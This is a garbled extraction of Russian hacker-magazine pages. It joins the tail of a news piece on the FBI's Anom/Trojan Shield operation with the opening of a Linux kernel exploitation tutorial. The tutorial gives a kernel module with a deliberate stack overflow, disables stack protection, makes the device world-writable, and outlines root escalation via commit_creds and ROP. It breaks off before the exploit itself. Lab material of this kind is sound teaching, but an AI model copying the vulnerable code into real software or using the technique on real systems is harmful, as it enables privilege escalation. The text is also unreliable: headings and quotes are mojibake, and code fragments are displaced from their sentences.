соз дать собс твен ный про дукт для зашиф рован ных ком муника ций, получив- 
ший наз вание Anom. Вско ре он пред ложил ФБР и Авс тра лий ской федераль- 
ной полиции рас простра нить эти устрой ства шире и исполь зовать их
в текущих и новых рас сле дова ниях, а пра воох раните ли соч ли эту идею инте- 
рес ной.

Как и Phantom Secure, новый сер вис пред лагал поль зовате лям защищен ные
смар тфо ны, которые были нас тро ены для запус ка исклю читель но при ложе ния
Anom и ничего более. Что бы заполу чить такое устрой ство, нуж но было знать
дру гого вла дель ца Anom и получить от него сво еоб разную рекомен дацию.

«Óñòðîé ñòâà ðàñ ïðîñòðà íÿëèñü íàòóðàëü íûì îáðà çîì, è èõ ïîïóëÿð- 

íîñòü ðîñ ëà ñðå äè ïðåñ òóïíè êîâ, êîòîðûå áûëè óâå ðåíû â ëåãèòèì- 

íîñòè ïðè ëîæå íèÿ, âåäü çà åãî íàäåæ íîñòü ðó÷àëèñü èçâåñ òíûå êðè- 

ìèíàëü íûå àâòî ðèòå òû», —  ïðåä ñòà âèòå ëè Àâñ òðà ëèé- 

ñêîé ôåäåðàëü íîé ïîëèöèè.

ðàñ ñêà çûâà þò

На руку пра воох раните лям сыг рал и тот факт, что пос ле зак рытия Phantom
Secure и Encrochat прес тупни кам понадо билось новое средс тво
для защищен ных перего воров, и Anom начал быс тро обре тать популяр ность.
К при меру, устрой ства Phantom были осо бен но рас простра нены в Авс тра лии,
и пос ле лик видации это го сер виса доверен ный дис три бутор пра воох раните- 
лей поз накомил сво их кли ентов с Anom. Тем, в свою оче редь, доверя ли круп- 
ные прес тупные орга низа ции, и вско ре три челове ка, ранее рас простра няв- 
шие Phantom, «уви дели огромные день ги» и сог ласились про давать новые
девай сы.

Ус трой ство Anom и перего воры прес тупни ков

При ложе ние, рек ламиру емое из уст в уста и через сайт anom.io, поз воляло
вла дель цам телефо нов переда вать зашиф рован ные тек сто вые и голосо вые
сооб щения меж ду устрой ства ми, но не давало запус кать любые дру гие служ- 
бы или уста нав ливать дру гие при ложе ния, которые мог ли бы при вес ти к утеч- 
ке дан ных.

Рас секре чен ные теперь  гла сят, что Anom был соз дан таким
обра зом, что бы мас тер-ключ незамет но прик реплял ся к каж дому сооб щению,
написан ному через при ложе ние, что поз воляло пра воох ранитель ным орга- 
нам рас шифро вывать и сох ранять все сооб щения, про ходив шие через плат- 
форму, по мере их переда чи.

до кумен ты

В час тнос ти, устрой ства Anom за пре дела ми США были нас тро ены
на отправ ку скры тых копий всех сооб щений боту XMPP, которо го в ФБР наз- 
вали iBot. Он рас шифро вывал сооб щения, а затем пов торно шиф ровал
с помощью клю чей, которы ми управля ли сле дова тели.

Жур налис ты изда ния  поис кали упо мина ния Anom в сети
за пос ледние годы и обна ружи ли ста рую учет ную запись ком пании на Reddit.
Впер вые ком пания заяви ла о себе два года назад, в уже уда лен ном, но сох- 
ранив шемся в кеше сооб щении.

Vice Motherboard

«Ïðåä ñòàâ ëÿåì Anom — ñâåð õçà ùèùåí íîå ïðè ëîæå íèå äëÿ îáìå íà

ñîîá ùåíè ÿìè ñ ìîáèëü íûõ òåëåôî íîâ íà áàçå Android. Âàøà êîí- 

ôèäåí öèàëü íîñòü ãàðàí òèðîâà íà. Ïðîã ðàì ìíîå îáåñ ïå÷åíèå,

çàùèùåí íîå îò öåëåâî ãî íàá ëþäåíèÿ è âòîð æåíèé, — Anom Secure.

Õðà íèòå ñåê ðåòû â áåçîïàñ íîñòè!» — ãëà ñèëà ñòà ðàÿ ðåê ëàìà.

Из рек ламно го ролика

Anom рос доволь но быс тро. Сна чала в Авс тра лии было рас простра- 
нено 50 устрой ств, но вско ре слу хи о новых девай сах ста ли цир кулиро вать
в андегра унде, дру гие сер висы зак рылись, и все го через год Anom нас- 
читывал уже нес коль ко сотен поль зовате лей. На этом эта пе к опе рации под- 
клю чилась третья неназ ванная стра на, которая так же пре дос тавля ла ФБР
дан ные поль зовате лей Anom.

По пуляр ность плат формы уве личи валась в геомет ричес кой прог рессии,
вско ре она выш ла за пре делы Авс тра лии, и пра воох раните ли уже отсле жива- 
ли огромную сеть более чем из 10 тысяч устрой ств в 90 стра нах мира. Офи- 
циаль ные докумен ты гла сят, что Anom поль зовал ся боль шим спро сом в Гер- 
мании, Нидер ландах, Испа нии и Сер бии. В общей слож ности более 300 раз- 
личных меж дународ ных прес тупных орга низа ций взя ли устрой ства на воору- 
жение.

Кар та рас простра нен ности устрой ств Anom

Нуж но понимать, что речь идет о самом широком спек тре прес тупных групп,
от бай кер ских банд в Авс тра лии и италь янских мафи ози до нар кокар телей
из Азии и Южной Аме рики и тор говцев ору жием и людь ми в стра нах Евро пы.

В Anom обсужда ется круп ная пос тавка кока ина

Ин терес но, что в мар те текуще го года некото рые прес тупни ки ста ли догады- 
вать ся о том, что при ложе ние переда ет все их раз говоры на сто рон ние сер- 
веры XMPP. К при меру, в кеше Google  теперь уже уда лен ное
иссле дова ние на эту тему. Как раз вско ре пос ле это го у пра воох раните лей
истекли сро ки ряда орде ров и пол номочий, и было при нято решение сво- 
рачи вать опе рацию.

сох ранено

ÈÒÎÃÈ ÎÏÅÐÀÖÈÈ

Хо тя выше опи сан ную схе му соз дало ФБР, из-за ряда юри дичес ких тон костей
сооб щения прес тупни ков в основном ана лизи рова ли авс тра лий ские влас ти,
которым было лег че офор мить все необ ходимые для это го докумен ты. Затем
авс тра лий цы три раза в неделю переда вали соб ранную информа цию в США.

Сог ласно судеб ным докумен там, эта схе ма ока залась нас толь ко
успешной, что третья неназ ванная стра на, пред положи тель но вхо дящая
в сос тав ЕС, раз мести ла у себя допол нитель ный сер вер iBot и помог ла про- 
ана лизи ровать более 26 мил лионов зашиф рован ных сооб щений. В этих
сооб щени ях прес тупни ки сво бод но обсужда ли воп росы кон тра бан ды нар- 
котиков, ору жия, кор рупции и про чей орга низо ван ной прес тупной деятель- 
нос ти.

 Евро пола гла сит, что за годы работы Anom пра- 
воох ранитель ным орга нам уда лось рас простра нить сре ди прес тупни ков
более 12 тысяч «защищен ных» устрой ств более чем в 100 стра нах мира.
Сами сле дова тели оха рак теризо вали эту спе цопе рацию как одну из круп ней- 
ших и самых слож ных за всю исто рию пра воох ранитель ных орга нов.

Офи циаль ное заяв ление

По резуль татам опе рации Trojan Shield уже было про веде но
более 700 обыс ков, про изве дено более 800 арес тов, а так же изъ ято
более 8 тонн кока ина, 22 тон ны кан набиса, 2 тон ны син тетичес ких нар котиков
(амфе тамин и метам фетамин), 6 тонн пре кур соров син тетичес ких нар- 
котиков, 250 еди ниц огнес трель ного ору жия, 55 люк совых авто моби лей
и более 48 мил лионов дол ларов США в раз личных мировых и крип товалю тах.

Ско рее все го, эти циф ры про дол жат рас ти, так как обыс ки и задер жания
по-преж нему про дол жают ся, а бла года ря Anom было и будет рас кры то и пре- 
дот вра щено мно жес тво самых раз ных прес тупле ний.

mailto:nefedova@glc.ru
https://www.fbi.gov/news/stories/phantom-secure-takedown-031618
https://www.europol.europa.eu/newsroom/news/800-criminals-arrested-in-biggest-ever-law-enforcement-operation-against-encrypted-communication
https://www.youtube.com/watch?v=qq9wnMXvgOc
https://xakep.ru/2020/07/03/encrochat/
https://www.vice.com/en/article/ep4b8m/encrochat-europe-organised-crime-busts-cocaine-guns
https://xakep.ru/2018/10/08/phantom-secure/
https://www.vice.com/en/article/kz4yxa/encrypted-phone-company-mpc-helped-martin-kok-murder
https://www.afp.gov.au/news-media/media-releases/afp-led-operation-ironside-smashes-organised-crime
https://www.documentcloud.org/documents/20799201-operation-trojan-shield-court-record
https://www.vice.com/en/article/akgkwj/operation-trojan-shield-anom-fbi-secret-phone-network
https://webcache.googleusercontent.com/search?q=cache:bP-g6VgD1JcJ:https://anomexposed.wordpress.com/2021/03/29/anom-encrpted-scam-exposed/+&cd=11&hl=en&ct=clnk&gl=us
https://www.europol.europa.eu/newsroom/news/800-criminals-arrested-in-biggest-ever-law-enforcement-operation-against-encrypted-communication
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COVERSTORY

Луч ший друг теории — это прак тика. Что бы понять,
как работа ют уяз вимос ти в ядре Linux и как их исполь зовать,
мы соз дадим свой модуль ядра Linux и с его помощью
повысим себе при виле гии до супер поль зовате ля. Затем мы
соберем само ядро Linux с уяз вимым модулем, под готовим
все, что нуж но для запус ка ядра в вир туаль ной машине
QEMU, и авто мати зиру ем про цесс заг рузки модуля в ядро.
Мы научим ся отла живать ядро, а потом вос поль зуем ся при- 
емом ROP, что бы получить пра ва root.

ÏÎÄÃÎÒÎÂÊÀ

Что бы выпол нить все задуман ное, нам понадо бят ся сле дующие ути литы:
GCC — ком пилятор C, что бы ком пилиро вать ядро;•
GDB — отладчик, который нам при годит ся, что бы отла живать ядро;•
BC — будет нужен для сбор ки ядра;•
Make — обра бот чик рецеп тов сбор ки ядра;•
Python — интер пре татор язы ка Python, он будет исполь зовать ся модуля ми
GDB;

•

pacstrap или debootstrap — скрип ты для раз вер тки сис темы. Будут нуж ны,
что бы соб рать rootfs;

•

лю бой тек сто вый редак тор (подой дет Vim или nano), что бы написать
модуль и рецепт к нему;

•

qemu-system-x86_64 — вир туаль ная машина, с помощью которой мы
будем запус кать ядро.

•

Это го впол не дос таточ но, что бы соб рать ядро и про экс плу ати ровать его
модуль, содер жащий уяз вимость.

ßÄÐÎ

В целях экспе римен та нам понадо бит ся ядро Linux, которое при дет ся самос- 
тоятель но соб рать.

Для при мера возь мем самое пос леднее ста биль ное ядро с .
На момент написа ния статьи это был Linux 5.12.4. На самом деле вер сия ядра
вряд ли пов лияет на резуль тат, так что можешь сме ло брать наибо лее акту- 
аль ную. Ска чива ем архив, выпол няем коман ду 

 и заходим в появив шуюся пап ку.

kernel.org

tar xaf linux-5.12.4.tar.
xz

Êîíôèãóðàöèÿ

Мы не будем делать уни вер саль ное ядро, которое может под нимать любое
железо. Все, что нам нуж но, — это что бы оно запус калось в QEMU, а изна- 
чаль ная кон фигура ция, пред ложен ная раз работ чиками, для этих целей под- 
ходит. Одна ко все-таки необ ходимо удос товерить ся, что у нас будут сим волы
для отладки пос ле ком пиляции и что у нас нет сте ковой канарей ки (об этой
пти це мы погово рим поз же).

Су щес тву ет нес коль ко спо собов задать пра виль ную кон фигура цию, но мы
выберем . Он удо бен и нет ребова телен к GUI. Выпол няем коман- 
ду  и наб люда ем сле дующую кар тину.

menuconfig
make menuconfig

Глав ное меню menucong

Для того что бы у нас появи лись отла доч ные сим волы, идем в сек цию Kernel
hacking → Compile-time checks and compiler options. Тут надо будет выб рать
Compile the kernel with debug info и Provide GDB scripts for kernel debugging.
Кро ме отла доч ных сим волов, мы получим очень полез ный скрипт 

. Это модуль для GDB, который поможет нам в опре деле нии таких
вещей, как базовый адрес модуля в памяти ядра.

vmlinux-
gdb.py

Вклю чение сим волов отладки и vmlinux-gdb.py

Те перь надо убрать про тек тор сте ка, что бы наш модуль был экс плу ати руем.
Для это го воз вра щаем ся на глав ный экран кон фигура ции, заходим в раз дел
General architecture-dependent options и отклю чаем фун кцию Stack Protector
buffer overow detection.

От клю чение сте ковой канарей ки

Мож но нажать на кноп ку Save и выходить из окна нас трой ки. Что дела ет эта
нас трой ка, мы уви дим далее.

Ñáîðêà ÿäðà

Тут сов сем ничего слож ного. Выпол няем коман ду , где
 — это количес тво потоков, которые мы хотим исполь зовать

для сбор ки ядра, и нас лажда емся про цес сом ком пиляции.

make -j<threads>
threads

Ком пиляция ядра

Ско рость сбор ки зависит от про цес сора: око ло пяти минут она зай мет
на мощ ном компь юте ре и нам ного доль ше — на сла бом. Можешь не ждать
окон чания ком пиляции и про дол жать читать статью.

ÌÎÄÓËÜ ßÄÐÀ

В ядре Linux есть такое понятие, как . По-прос тому,
это некото рое устрой ство, с которым мож но делать такие эле мен тарные опе- 
рации, как чте ние из него и запись. Но иног да, как ни парадок саль но, это го
устрой ства в нашем компь юте ре нет. Нап ример, сущес тву ет некий девайс,
име ющий путь , и, если мы будем читать из это го устрой ства, мы
получим нули (нуль-бай ты или , если записы вать в нотации C). Такие
устрой ства называ ются вир туаль ными, и в ядре есть спе циаль ные обра бот- 
чики на чте ние и запись для них. Мы же напишем модуль ядра, который будет
пре дос тавлять нам запись в устрой ство. Назовем его , а фун кция
записи в это устрой ство, которая вызыва ется при сис темном вызове ,
будет содер жать уяз вимость перепол нения буфера.

character device

/dev/zero
\x00

/dev/vuln
write

Êîä ìîäóëÿ è ïîÿñíåíèÿ

Соз дадим в пап ке с исходным кодом ядра вло жен ную пап ку с име нем ,
где будет находить ся модуль, и помес тим там файл  вот с таким кон- 
тентом:

vuln
vuln.c

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/kdev_t.h>
#include <linux/device.h>
#include <linux/cdev.h>

 MODULE_LICENSE("GPL"); // Лицензия

  static dev_t first;
   static struct cdev c_dev;
   static struct class *cl;

         
 

static ssize_t vuln_read(struct file* file, char* buf, size_t count,
loff_t *f_pos){

         return -EPERM; // Нам не нужно чтение из устройства, поэтому 
говорим, что читать из него нельзя
}

         
  

static ssize_t vuln_write(struct file* file, const char* buf, size_t
count, loff_t *f_pos){

        char buffer[128];
        int i;

         memset(buffer, 0, 128);
              for (i = 0; i < count; i++){

                   *(buffer + i) = buf[i];
       }

         printk(KERN_INFO "Got happy data from userspace - %s", buffer
);

        return count;
}

        static int vuln_open(struct inode* inode, struct file* file) {
        return 0;

}

        static int vuln_close(struct inode* inode, struct file* file) {
        return 0;

}

     static struct file_operations fileops = {
        owner: THIS_MODULE,
        open: vuln_open,
        read: vuln_read,
        write: vuln_write,

        release: vuln_close,
 }; // Создаем структуру с файловыми операциями и обработчиками

 int vuln_init(void){
           alloc_chrdev_region(&first, 0, 1, "vuln"); // Регистрируем 

устройство /dev
            cl = class_create( THIS_MODULE, "chardev"); // Создаем 

указатель на структуру класса
            device_create(cl, NULL, first, NULL, "vuln"); // Создаем 

непосредственно устройство
            cdev_init(&c_dev, &fileops); // Задаем хендлеры
          cdev_add(&c_dev, first, 1); // И добавляем устройство в 

систему
        printk(KERN_INFO "Vuln module started\n");

        return 0;
}

  void vuln_exit(void){ // Удаляем и разрегистрируем устройство
         cdev_del( &c_dev );

          device_destroy( cl, first );
         class_destroy( cl );

          unregister_chrdev_region( first, 1 );
        printk(KERN_INFO "Vuln module stopped??\n");

}

 module_init(vuln_init); // Точка входа модуля, вызовется при insmod
 module_exit(vuln_exit); // Точка выхода модуля, вызовется при rmmod

Этот модуль соз даст в  устрой ство , которое будет поз волять писать
в него дан ные. Путь у него прос той: . Любопыт ный читатель может
поин тересо вать ся, что за фун кции оста лись без ком мента риев? Их зна чение
мож но поис кать вот в этом . В нем, ско рее все го, оты щут ся все
фун кции, на которые есть докумен тация в ядре Linux в виде стра ниц man.

/dev vuln
/dev/vuln

ре пози тории

Óÿçâèìîñòü

Об рати вни мание на фун кцию . На сте ке выделя ется 128 байт
для сооб щения, которое будет написа но в наше устрой ство, а потом
выведет ся в , устрой ство для логов ядра. Одна ко и сооб щение, и его
раз мер кон тро лиру ются поль зовате лем, что поз воля ет ему записать нам ного
боль ше, чем положе но изна чаль но. Здесь оче вид но перепол нение буфера
на сте ке, с пос леду ющим кон тро лем регис тра RIP (Relative Instruction Pointer),
что поз воля ет нам сде лать ROP Chain. Мы погово рим об этом в раз деле, пос- 
вящен ном экс плу ата ции уяз вимос ти.

vuln_write

kmsg

Ñáîðêà ìîäóëÿ

Сбор ка модуля дос таточ но три виаль ная задача. Для это го в пап ке
с исходным кодом модуля надо соз дать Makele вот с таким кон тентом:

 obj-m := vuln.o  # Добавить в список собираемых модулей

all:
      make -C ../ M=./vuln  # Вызвать главный Makefile с аргументом M=$
(module folder), чтобы он собрался 

Ком пиляция модуля

Пос ле это го в пап ке появит ся файл . Рас ширение  озна чает Kernel
Object, он нес коль ко отли чает ся от обыч ных объ ектов . Получа ется, мы уже
соб рали ядро и модуль для него. Для запус ка в QEMU оста лось про делать
еще нес коль ко опе раций.

vuln.ko ko
.o

ROOTFS

Воп реки рас простра нен ному мне нию, Linux не явля ется опе раци онной сис- 
темой, если рас смат ривать его как отдель ную прог рамму. Это лишь ядро,
которое в совокуп ности с ути лита ми и прог рамма ми GNU дает пол ноцен ную
рабочую РС. Она, кста ти, так и называ ется — GNU/Linux. То есть если ты
запус тишь Linux прос то так, то он выдаст Kernel panic, сооб щив об отсутс твии
фай ловой сис темы, которую мож но при нять за кор невую. Даже если таковая
есть, ядро пер вым делом попыта ется запус тить , бинар ник, который
явля ется глав ным про цес сом-демоном в сис теме, запус кающим все служ бы
и осталь ные про цес сы. Если это го фай ла нет или он работа ет неп равиль но,
ядро выдаст панику. Поэто му нам нужен раз дел с userspace-прог рамма ми.
Далее я буду исполь зовать pacstrap, скрипт для уста нов ки Arch Linux. Если
у тебя Debian-подоб ная сис тема, ты можешь исполь зовать debootstrap.

init

Âîçìîæíûå âàðèàíòû

Су щес тву ет мно го раз ных вари антов соб рать пол ностью рабочую сис тему:
как минимум, есть LFS (Linux From Scratch), но это уже слиш ком слож но. Так- 
же есть вари ант с соз дани ем  (файл с минималь ной фай ловой сис- 
темой, необ ходимый для выпол нения некото рых задач до заг рузки основной
сис темы). Но минус это го спо соба в том, что такой диск не очень прос то сде- 
лать, а редак тировать еще слож нее: его при дет ся пересо бирать. Поэто му мы
выберем дру гой вари ант — соз дание пол ноцен ной фай ловой сис темы
ext4 в фай ле. Давай раз берем ся, как мы будем это делать.

initramfs

Ñîçäàíèå äèñêà

Для начала надо отвести мес то под саму фай ловую сис тему. Для это го
выпол ним коман ду .
Дан ная коман да запол нит  нулями, и уста новим его раз мер
в 2 Гбайт. Пос ле это го надо соз дать раз дел ext4 в этом фай ле. Для это го
запус каем . Нам не тре буют ся пра ва супер поль- 
зовате ля, потому что фай ловая сис тема соз дает ся в нашем фай ле. Теперь
оста ется пос леднее, что мы сде лаем перед уста нов кой сис темы: 

. Теперь пра ва супер поль зовате ля нам понадо бят ся
для того, что бы смон тировать эту фай ловую сис тему и делать манипу ляции
уже в ней.

dd if=/dev/zero of=./rootfs.img bs=1G count=2
rootfs.img

mkfs.ext4 ./rootfs.img

sudo mount
./rootfs.img /mnt

Óñòàíîâêà Arch

Зву чит страш но. На самом деле, если речь идет о Manjaro или дру гой Arch
Linux подоб ной сис теме, все край не прос то. В репози тори ях име ется пакет
под наз вани ем , где находит ся . Пос ле уста- 
нов ки дан ного пакета выпол няем коман ду 
и ждем, пока ска чают ся все основные пакеты.

arch-install-scripts pacstrap
sudo pacstrap /mnt base

Под готов ка фай ловой сис темы и уста нов ка туда дис три бути ва

По том надо будет ско пиро вать  коман дойvuln.ko

cp <kernel sources>/vuln/vuln.ko /mnt/vuln.ko 

Мо дуль в сис теме, все хорошо.

Íåáîëüøàÿ êîíôèãóðàöèÿ èçíóòðè

Те перь нам нуж но нас тро ить пароль супер поль зовате ля, что бы вой ти в сис- 
тему. Вос поль зуем ся , который авто мати чес ки под готовит все
окру жение в соз данной сис теме. Для это го запус каем коман ду 

, а затем — . Таким обра зом мы смо жем вой ти в сис тему,
ког да заг рузим ся.

arch-chroot
sudo arch-

chroot /mnt passwd

Так же нам очень понадо бят ся пара пакетов — GCC и любой тек сто вый
редак тор, нап ример Vim. Они нуж ны для написа ния и ком пиляции экс пло ита.
Эти пакеты мож но получить с помощью команд 
на Debian-сис теме или  для Arch-подоб ной ОС. Так же
желатель но соз дать обыч ного поль зовате ля, от име ни которо го мы будем
про верять экс пло ит. Для это го выпол ним коман ды 
и , что бы у него была домаш няя пап ка.

apt install vim gcc
pacman -S vim gcc

useradd -m user
passwd user

Кон фигура ция внут ри фай ловой сис темы

Вый дем из chroot с помощью Ctrl + d и на вся кий слу чай напишем .sync

Ôèíàëüíûå øòðèõè

На самом деле по-хороше му надо отмонти ровать  коман дой 
. Лич но я пос ле записи в  всег да допол нитель но делаю

, что бы записан ные дан ные не потеря лись в кеше. Теперь мы пол ностью
готовы к запус ку ядра с нашим модулем.

rootfs.img sudo
umount /mnt /mnt
sync

ÇÀÏÓÑÊ ßÄÐÀ

Пос ле сбор ки само ядро будет лежать в сжа том виде в 
. Хоть оно и сжа то, ядро спо кой но запус тится

в QEMU, потому что это саморас паковы вающий ся бинар ник.

<kernel sources>/
arch/x86/boot/bzImage

При усло вии, что мы находим ся в пап ке  и там же
находит ся , коман да для запус ка ядра будет такой:

<kernel sources>
rootfs.img

qemu-system-x86_64 \
   -kernel ./arch/x86/boot/bzImage \
     -append "console=ttyS0,115200 root=/dev/sda rw nokaslr" \
   -hda ./rootfs.img \
   -nographic

В  мы ука зали путь к ядру,  явля ется коман дной стро кой ядра,
 говорит о том, что вывод будет давать ся в устрой ство

 со ско ростью переда чи дан ных 115 200 бит/с. Это прос то serial-порт,
отку да берет дан ные QEMU. Аргу мент  дела ет кор невой фай-
ловой сис темой диск, который мы потом вклю чили с помощью клю ча , а 
дела ет эту фай ловую сис тему дос тупной для чте ния и записи (по умол чанию
толь ко для чте ния). Параметр  нужен, что бы не ран домизи рова лись
адре са фун кций ядра в вир туаль ной памяти. Этот параметр упростит экс плу- 
ата цию. Наконец,  выпол няет запуск без отдель ного окош ка пря- 
мо в кон соли.

kernel append
console=ttyS0,115200
ttyS0

root=/dev/sda
hda rw

nokaslr

-nographic

Пос ле запус ка мы можем залоги нить ся и попасть в кон соль. Одна ко, если
зай ти в , мы не най дем нашего устрой ства. Что бы оно появи лось, надо
выпол нить коман ду . Сооб щения о заг рузке добавят ся
в , а в  появит ся устрой ство . Одна ко есть неболь шая проб- 
лема:  име ет пра ва 600. Для нашей экс плу ата ции необ ходимы пра- 
ва 666 или хотя бы 622, что бы любой поль зователь мог писать в этот файл.
Мы можем вруч ную вклю чать модуль в ядре, как и менять пра ва устрой ству,
но, сог ласись, выг лядит это так себе. Прос то пред ста вим, что это какой-то
важ ный модуль, который дол жен запус кать ся вмес те с сис темой. Поэто му
нам надо авто мати зиро вать этот про цесс.

/dev
insmod /vuln.ko

kmsg /dev vuln
/dev/vuln

ÑÅÐÂÈÑ ÄËß SYSTEMD

Ав томати зиро вать про цес сы при заг рузке мож но раз ными спо соба ми: мож но
записать скрипт в , мож но помес тить его в , мож но
даже перепи сать  таким обра зом, что бы сна чала запус кался наш скрипт,
а потом вся осталь ная сис тема. Одна ко лег че все го написать модуль
для , прог раммы, которая явля ется непос редс твен но init и может
авто мати зиро вать раз ные вещи цивили зован ным обра зом. Даль нейшие дей- 
ствия мы будем выпол нять в сис теме, запущен ной в QEMU. Она сох ранит все
изме нения.

/etc/profile ~/.bashrc
init

systemd

Íåïîñðåäñòâåííî ñåðâèñ

По фак ту нам надо сде лать две вещи: вста вить модуль в ядро и поменять пра- 
ва  на 666. Сер вис запус кает ся как скрипт — один раз во вре мя
заг рузки сис темы. Поэто му тип сер виса будет oneshot. Давай пос мотрим, что
у нас получит ся.

/dev/vuln

[Unit]
Name=Vulnerable module  # Название модуля

[Service]
Type=oneshot  # Тип модуля. Запустится один раз
ExecStart=insmod /vuln.ko ; chmod 666 /dev/vuln  # Команда для 
загрузки модуля и изменения разрешений

[Install]
WantedBy=multi-user.target  # Когда модуль будет подгружен. 
Multi-user достаточно стандартная вещь для таких модулей

Этот код дол жен будет лежать в ./usr/lib/systemd/system/vuln.service

Çàïóñê ñåðâèñà

Так как скрипт дол жен запус кать ся во вре мя заг рузки сис темы, надо выпол- 
нить коман ду  от име ни супер поль зовате ля.systemctl enable vuln

Вклю чение модуля Systemd

Пос ле перезаг рузки файл  в  получит пра ва . Прек расно.
Теперь перехо дим к самому слад кому. Что бы вый ти из QEMU, наж ми Ctrl + A,
C и D.

vuln /dev/ rw-rw-rw-

Продолжение статьи →

mailto:ilya.titoff2013@yandex.ru
http://kernel.org/
https://linux-kernel-labs.github.io/refs/heads/master/labs/device_drivers.html
https://github.com/RoadToLP/linux-manpages
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ÄÅÁÀÃÃÈÍÃ ßÄÐÀ

Де бажить ядро мы будем для того, что бы пос мотреть, как оно работа ет
во вре мя наших вызовов. Это поз волит нам понять, как экс плу ати ровать уяз- 
вимость. Опыт ные читате ли, ско рее все го, зна ют о One gadget в , стан- 
дар тной биб лиоте ке C в Linux, поз воля ющей поч ти сра зу запус тить 
из уяз вимой прог раммы в userspace. В ядре же кноп ки «сде лать клас сно» нет,
но есть дру гая, пос ложнее.

libc
/bin/sh

GDB è vmlinux-gdb.py

Нас тоятель но рекомен дую тебе исполь зовать GEF для упро щения работы.
Это модуль для GDB, который уме ет показы вать сос тояния регис тров, сте ка
и кода во вре мя работы. Его мож но взять .здесь

Пер вым делом надо раз решить заг рузку сто рон них скрип тов, а имен но
, который сей час находит ся в кор невой пап ке исходни ков.

Как, собс твен но, и , файл с сим волами ядра. Он поможет впос ледс- 
твии узнать базовый адрес модуля ядра. Это мож но сде лать, добавив стро ку

 в . Теперь, что бы заг рузить сим- 
волы и вооб ще код, выпол ни коман ду . Пос ле это го надо запус- 
тить само ядро.

vmlinux-gdb.py
vmlinux

set auto-load safe-path / ~/.gdbinit
gdb vmlinux

Óäàëåííûé äåáàããèíã ÿäðà

Рань ше мы уже обсужда ли, как мож но запус тить ядро. Единс твен ное, чего мы
не учли, — это то, что его нель зя дебажить. Что бы раз решить отладку, надо,
что бы QEMU сде лал для нас сер вер GDB. Для это го к коман де нуж но при- 
бавить , где  — про токол под клю чения, а  —
это порт. Запус каем ядро модифи циро ван ной коман дой, в дру гом окош ке
запус каем GDB. Что бы под клю чить ся к ядру, надо отдать коман ду 

. Работа ядра оста новит ся, и оно будет ждать наших
дей ствий.

-gdb tcp::1234 tcp 1234

target 
remote localhost:1234

Так выг лядит дебаг гинг ядра с GEF

Мож но заметить, что QEMU сей час замер в кон крет ном сос тоянии, потому
что оста нов лено ядро. Вос ста новить работу мож но в GDB коман дой

. Для при оста нов ки же нуж но нажать Ctrl + C.continue

ÑÒÐÀÒÅÃÈß ÝÊÑÏËÓÀÒÀÖÈÈ

Вся экс плу ата ция ядра сво дит ся к тому, что бы под нять себе при виле гии,
чаще все го до рута. Один из вари антов, как это сде лать, зак люча ется в сле- 
дующем: нам надо выз вать фун кцию  с аргу мен том .

 уста новит пра ва про цес са на при виле гии, опи сан ные
в . В свою оче редь,  име ет пра ва самого глав ного про- 
цес са под номером 1, то есть init, мак сималь но воз можные пра ва в userspace.
В коде ядра это выг лядит при мер но так:

commit_creds init_cred
Commit_creds
init_cred init_cred

    struct cred init_cred = {
        .usage                  = ATOMIC_INIT(4),

#ifdef CONFIG_DEBUG_CREDENTIALS
        .subscribers            = ATOMIC_INIT(2),
        .magic                  = CRED_MAGIC,

#endif
        .uid                    = GLOBAL_ROOT_UID,
        .gid                    = GLOBAL_ROOT_GID,
        .suid                   = GLOBAL_ROOT_UID,
        .sgid                   = GLOBAL_ROOT_GID,
        .euid                   = GLOBAL_ROOT_UID,
        .egid                   = GLOBAL_ROOT_GID,
        .fsuid                  = GLOBAL_ROOT_UID,
        .fsgid                  = GLOBAL_ROOT_GID,
        .securebits             = SECUREBITS_DEFAULT,
        .cap_inheritable        = CAP_EMPTY_SET,
        .cap_permitted          = CAP_FULL_SET,
        .cap_effective          = CAP_FULL_SET,
        .cap_bset               = CAP_FULL_SET,
        .user                   = INIT_USER,
        .user_ns                = &init_user_ns,
        .group_info             = &init_groups,

}

Бо лее под робное опи сание этой фун кции читатель может пос мотреть
в репози тории, упо мяну том рань ше. То есть нам нуж но каким-то обра зом
выпол нить  во вре мя записи в уяз вимое устрой- 
ство. Давай раз берем ся, как это сде лать.

commit_creds(init_cred)

Calling convention (ñîãëàøåíèå î âûçîâàõ)

Под кован ный читатель может про пус тить эту и сле дующие две час ти. Пред- 
ста вим, что у нас есть обыч ный сиш ный код, нап ример .
В исходном виде это выг лядит край не прос то, но про цес сор не работа ет
с исходным кодом, он работа ет на инс трук циях, сге нери рован ных ком пилято- 
ром. Для про цес сора дан ная стро ка будет выг лядеть при мер но так:

sum(3, 2);

    mov rdi, 3 ; В регистр RDI положить первый аргумент
    mov rsi, 2 ; В регистр RSI положить второй аргумент
     call sum ; Вызвать функцию sum

Как мож но понять из кода, пер вый аргу мент лежит в регис тре , а вто рой
в . При этом вывод фун кции в нашем слу чае, ско рее все го, 5, будет лежать
в регис тре . В архи тек туре x86_64 есть 16 основных очень быс трых регис- 
тров, при этом каж дый из них хра нит 64 бита информа ции: , , , ,

, , ,  и . То есть, что бы выз вать фун кцию 
, нам надо будет положить в регистр  адрес ,

а потом выз вать . Еще одним важ ным регис тром будет RSP
(Relative Stack Pointer), о нем мож но про читать в . Этот регистр
хра нит в себе ука затель на стек, отку да берут ся адре са, нап ример для инс- 
трук ции  или .

RDI
RSI

RAX
RAX RBX RCX RDX

RDI RSI RSP RBP R8-R15 commit_creds(
init_cred) RDI init_cred

commit_creds
Ви кипе дии

ret pop

ret

 — инс трук ция, которая берет пос леднее 64-бит ное зна чение из сте ка
и пры гает туда. Зачем она нам нуж на? Дело в том, что единс твен ное, что,
по сути, мы можем кон тро лиро вать, — стек. Прак тичес ки любая фун кция
в ассем бле ре закан чива ется инс трук цией , которая переда ет управле ние
вызыва ющей фун кции. Получа ется, если мы можем переза писы вать так
называ емый ret-адрес (адрес, который берет  из сте ка), то мы можем кон- 
тро лиро вать про цесс выпол нения кода, что нам будет очень кста ти. Оста лось
толь ко одно: записать  в .

Ret

ret

ret

init_cred RDI

Ãàäæåòû, à èìåííî pop rdi ; ret

В любой ском пилиро ван ной прог рамме есть малень кие учас тки кода,
которые могут нам помочь пос тро ить ROP-цепоч ку. ROP, Return Oriented
Programming, — тех ника бинар ной экс плу ата ции, поз воля ющая путем кон тро- 
ля сте ка писать внут ри прог раммы свою прог рамму, которая дела ет то, что
нуж но ата кующе му. Такие малень кие учас тки кода называ ются гад жетами.

